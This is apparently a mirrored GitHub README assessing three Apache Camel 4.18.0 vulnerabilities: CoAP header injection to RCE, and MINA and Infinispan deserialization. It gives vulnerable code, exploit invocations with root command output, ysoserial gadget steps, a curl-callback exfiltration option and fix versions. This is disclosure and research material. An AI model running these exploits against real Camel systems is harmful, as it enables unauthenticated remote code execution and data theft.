dinosn/apache-camel

GitHub: dinosn/apache-camel

针对 Apache Camel 4.18.0 中三个严重漏洞(含 CoAP 头注入与反序列化 RCE)的安全评估项目,提供了完整的漏洞分析、可运行的 PoC 利用代码及 Docker 靶场。

Stars: 0 | Forks: 0

# Apache Camel 4.18.0 — CVE 安全评估 Apache Camel 4.18.0 中存在的三个严重漏洞,均已独立发现并使用有效的概念验证漏洞利用代码进行了验证。 | CVE | 组件 | 类型 | CVSS | 结论 | |-----|-----------|------|------|---------| | CVE-2026-33453 | camel-coap | 请求头注入 → RCE | 10.0 严重 | 可利用 | | CVE-2026-40473 | camel-mina | 不安全的反序列化 → RCE | 9.8 严重 | 可利用 | | CVE-2026-40858 | camel-infinispan | 不安全的反序列化 | 8.8 高危 | 可利用 | ## CVE-2026-33453: CoAP 请求头注入 → 远程代码执行 **组件:** `camel-coap` — `CamelCoapResource.java:103-109` **CWE:** CWE-915 (对象属性的不当控制修改) **修复版本:** Camel 4.18.1 / 4.14.6 ### 根本原因 `CamelCoapResource.handleRequest()` 通过没有 `HeaderFilterStrategy` 的 `setHeader()` 方法,直接将 CoAP URI 查询参数映射到 Camel Exchange 请求头中。由于 `CoAPEndpoint` 继承的是 `DefaultEndpoint` 而非 `DefaultHeaderFilterStrategyEndpoint`,任何未经身份验证的客户端都可以注入带有 `Camel*` 前缀的内部请求头。 当路由转发到 `camel-exec` 时,受攻击者控制的 `CamelExecCommandExecutable` 和 `CamelExecCommandArgs` 请求头会覆盖已配置的命令,从而通过单个 UDP 数据包实现预认证 RCE。 ``` // CamelCoapResource.java:103-109 — NO HeaderFilterStrategy for (String s : options.getUriQuery()) { int i = s.indexOf('='); if (i == -1) { camelExchange.getIn().setHeader(s, ""); } else { camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1)); } } ``` ### PoC 结果 ![CoAP RCE PoC](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/c1252b0739214334.png) ``` $ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname' [+] Response: 2.05 [+] Command output: cf6ee154412e $ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /' [+] Command output: app bin boot dev etc home lib ... ``` ## CVE-2026-40473: MINA 不安全反序列化 → 远程代码执行 **组件:** `camel-mina` — `MinaConverter.java:60-63` **CWE:** CWE-502 (不受信任数据的反序列化) **修复版本:** Camel 4.18.2 / 4.14.6 / 4.20.0 ### 根本原因 `MinaConverter.toObjectInput(IoBuffer)` 创建了一个原生的 `java.io.ObjectInputStream`,并且**没有使用 `ObjectInputFilter`**。当 MINA 端点配置为 `allowDefaultCodec=false` 时,原始 TCP 数据会作为 `IoBuffer` 到达 Camel 的类型转换器,该转换器会调用此方法——将受攻击者控制的网络字节包装在未经过滤的 `ObjectInputStream` 中。 ``` // MinaConverter.java:60-63 — NO ObjectInputFilter @Converter public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException { InputStream is = toInputStream(buffer); return new ObjectInputStream(is); // attacker-controlled bytes, NO FILTER } ``` **攻击路径:** 该漏洞利用针对的是配置为 `allowDefaultCodec=false` 的 MINA TCP 端点(在 PoC 中为端口 9879)。这会完全绕过 MINA 的编解码器层——`ObjectSerializationCodecFactory` 拥有自己的 `ClassNameMatcher` 白名单,原本可以阻止任意类。在禁用编解码器的情况下,原始字节会直接流向 `MinaConverter.toObjectInput()`,从而创建一个没有类过滤机制的**标准** `ObjectInputStream`。 通过 CommonsCollections6 利用链(借助 ysoserial),可以实现以 root 权限执行任意命令。命令输出通过 curl 回调泄露给攻击者。 ### PoC 结果 ![MINA RCE PoC](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/aab55b3473214346.png) ``` $ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id [+] Command output: uid=0(root) gid=0(root) groups=0(root) [+] CONFIRMED: CVE-2026-40473 RCE — command executed via deserialization $ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a' [+] Command output: Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar 8 14:41:59 UTC 2026 aarch64 GNU/Linux ``` ### 逐步复现 CVE-2026-40473 #### 前置条件 - Docker 和 Docker Compose - Python 3.8+ - Java 17+ (用于 ysoserial) - [ysoserial](https://github.com/frohoff/ysoserial) — `ysoserial-all.jar` (CommonsCollections6 利用链) #### 步骤 1:构建并启动存在漏洞的服务器 ``` cd poc/ docker compose up -d --build ``` 等待容器启动,然后验证: ``` docker logs vuln-camel-mina ``` 您应该会看到: ![MINA Setup](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/a8abcd5050214356.png) ``` [*] Vulnerable MINA server started [*] Port 9877: transferExchange (Java deser) endpoint [*] Port 9878: Object serialization codec endpoint [*] Port 9879: Raw TCP (MinaConverter.toObjectInput) endpoint [*] Waiting for connections... ``` 端口 9879 是目标——它使用 `allowDefaultCodec=false`,这会禁用 MINA 的编解码器过滤器,让原始的 `IoBuffer` 直接到达 Camel 未过滤的 `MinaConverter.toObjectInput()`。 #### 步骤 2:确认反序列化(探测模式) 首先,验证端点是否接受并反序列化任意的 Java 对象且没有 `ObjectInputFilter`: ``` python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe ``` ![MINA Probe](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/b5168b713e214404.png) ``` [*] Probe mode — confirming deserialization (no RCE) [*] Payload: HashMap (82 bytes, raw — no MINA frame) [+] Connected to MINA endpoint [+] Payload sent [+] Data reached readObject() with no filter rejection ``` 探测发送了一个序列化的 `HashMap`。服务器通过 `ObjectInputStream.readObject()` 对其进行反序列化,而没有抛出 `InvalidClassException`——证实了不存在任何类过滤机制。 #### 步骤 3:执行命令(完全 RCE) 在 ysoserial 准备就绪后,利用未过滤的反序列化漏洞执行任意命令: ``` # 执行 'id' — 返回 uid=0(root) python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id # 读取文件 python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname' # 系统信息 python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a' ``` 该漏洞利用程序会生成一个 CommonsCollections6 利用链,将其作为原始字节发送到端口 9879,并通过 curl 回调监听器捕获命令输出。 #### 漏洞利用选项 ``` usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST] [--gadget GADGET] [--probe] [--raw] target [port] [command] target Target IP/hostname port MINA TCP port (default: 9879) command Command to execute (default: id) --ysoserial Path to ysoserial.jar (auto-detected if not set) --callback-host Host the container uses to reach you (default: host.docker.internal) --gadget ysoserial gadget chain (default: auto — tries CC6, CC5, CC1) --probe Probe mode only — confirm deserialization without RCE --raw Send raw payload without MINA 4-byte frame (auto-enabled for port 9879) ``` **注意:** `--callback-host` 默认为 `host.docker.internal` (Docker Desktop)。如果在没有 Docker Desktop 的 Linux 上运行,请使用 `--callback-host 172.17.0.1` 或您的 Docker 桥接 IP。 #### 步骤 4:清理 ``` cd poc/ docker compose down ``` ## CVE-2026-40858: Infinispan 不安全的反序列化 **组件:** `camel-infinispan` — `DefaultExchangeHolderUtils.java:46-53` **CWE:** CWE-502 (不受信任数据的反序列化) **修复版本:** Camel 4.18.2 / 4.14.7 / 4.20.0 ### 根本原因 `DefaultExchangeHolderUtils.deserialize(byte[])` 创建了一个没有 `ObjectInputFilter` 的 `ClassLoadingAwareObjectInputStream`。`DefaultExchangeHolderProtoAdapter` 将 Infinispan 缓存字节直接路由到此方法。拥有缓存写入权限(Hot Rod 端口 11222 或 REST API)的攻击者可以注入恶意序列化负载,当聚合存储库获取该键时,该负载将被反序列化。 这与 CVE-2024-22369、CVE-2024-23114 和 CVE-2026-25747 的漏洞模式相同——所有这些都是 Camel 反序列化路径中在没有 `ObjectInputFilter` 的情况下调用 `readObject()` 而未被修复的实例。 ``` // DefaultExchangeHolderUtils.java:46-53 — NO ObjectInputFilter static DefaultExchangeHolder deserialize(byte[] bytes) { try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes); ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) { return (DefaultExchangeHolder) ois.readObject(); // attacker-controlled } } ``` ### 存在漏洞的代码 ![Infinispan Vulnerable Code](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/9c595a82ef214416.png) ## 带注释的漏洞代码 ![Vulnerable Code Annotated](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/e02b3e73a1214429.png) ## 复现全部三个 CVE ### 前置条件 - Docker 和 Docker Compose - Python 3.8+ - Java 17+ (用于 ysoserial) - [ysoserial](https://github.com/frohoff/ysoserial) 用于完整的 RCE 利用链 (CVE-2026-40473) ### 构建并运行 ``` cd poc/ docker compose up -d --build ``` 此操作会启动: - `vuln-camel-coap` — UDP 端口 5683 上的 CoAP 端点,带有 camel-exec 路由 - `vuln-camel-mina` — 端口 9877 (transferExchange)、9878 (ObjectSerializationCodecFactory) 和 9879 (原始 TCP — 主要攻击目标) 上的 MINA TCP 端点 - `infinispan` — 端口 11222 上的 Infinispan 服务器 - `vuln-camel-infinispan` — 由 Infinispan 支持的 Camel 聚合存储库 ### 运行漏洞利用 ``` # CVE-2026-33453: CoAP Header 注入 → RCE python3 poc/exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'id' # CVE-2026-40473: MINA 不安全反序列化 → RCE(参见上方详细说明) python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id # CVE-2026-40858: Infinispan 不安全反序列化 python3 poc/exploits/exploit_cve_2026_40858_infinispan.py 127.0.0.1 11222 ``` ### 清理 ``` cd poc/ docker compose down ``` ## 评估过程 本次评估是使用 [RAPTOR](https://github.com/dinosn/raptor) 自主安全研究框架进行的: 1. **研究** — 识别出全部 3 个 CVE,交叉对比修复提交,确定 Apache Camel 4.18.0 为唯一受影响的漏洞版本 2. **源码获取** — 通过 git sparse-checkout 下载了易受攻击的组件 (`camel-coap`、`camel-mina`、`camel-infinispan`) 3. **扫描** (`/scan`) — 对所有 3 个组件进行自动化漏洞发现 4. **理解** (`/understand --map`) — 攻击面映射:入口点、信任边界、汇聚点和未经检查的数据流 5. **验证** (`/validate`) — 完整的 8 阶段可利用性验证管道 (阶段 0 → A → B → C → D → E → F → 1),确认所有 3 项发现均为真实、可达且可被利用的漏洞 6. **利用** (`/exploit`) — 使用基于 Docker 的测试环境开发有效的 PoC 7. **文档化** — 截图、漏洞利用报告以及本 README ## 修复方案 | CVE | 修复版本 | 变更内容 | |-----|------------|--------| | CVE-2026-33453 | 4.18.1 / 4.14.6 | `CoAPEndpoint` → 继承 `DefaultHeaderFilterStrategyEndpoint`;`CoAPComponent` → 实现 `HeaderFilterStrategyComponent` | | CVE-2026-40473 | 4.18.2 / 4.14.6 / 4.20.0 | 在 `readObject()` 之前添加了 `ObjectInputFilter.Config.createFilter("java.**;javax.**;org.apache.camel.**;!*")` | | CVE-2026-40858 | 4.18.2 / 4.14.7 / 4.20.0 | 添加了 `ObjectInputFilter` 白名单(相同模式);如果已配置,则回退到 JVM 序列化过滤器 | ## 免责声明 本研究的目的是为了授权的安全测试和教育用途。所有漏洞利用均针对运行易受攻击软件的本地构建 Docker 容器进行了测试。请升级到上面列出的已修复版本。
标签:0day漏洞, Apache Camel, camel-coap, camel-infinispan, camel-mina, CISA项目, CVE-2026-33453, CVE-2026-40473, CVE-2026-40858, CVE安全评估, GHAS, Header Injection, Java安全, JS文件枚举, RCE, 不安全的反序列化, 中间件安全, 情报收集, 数据展示, 漏洞 PoC, 漏洞研究, 红队, 编程工具, 网络安全, 请求拦截, 远程代码执行, 逆向工具, 隐私保护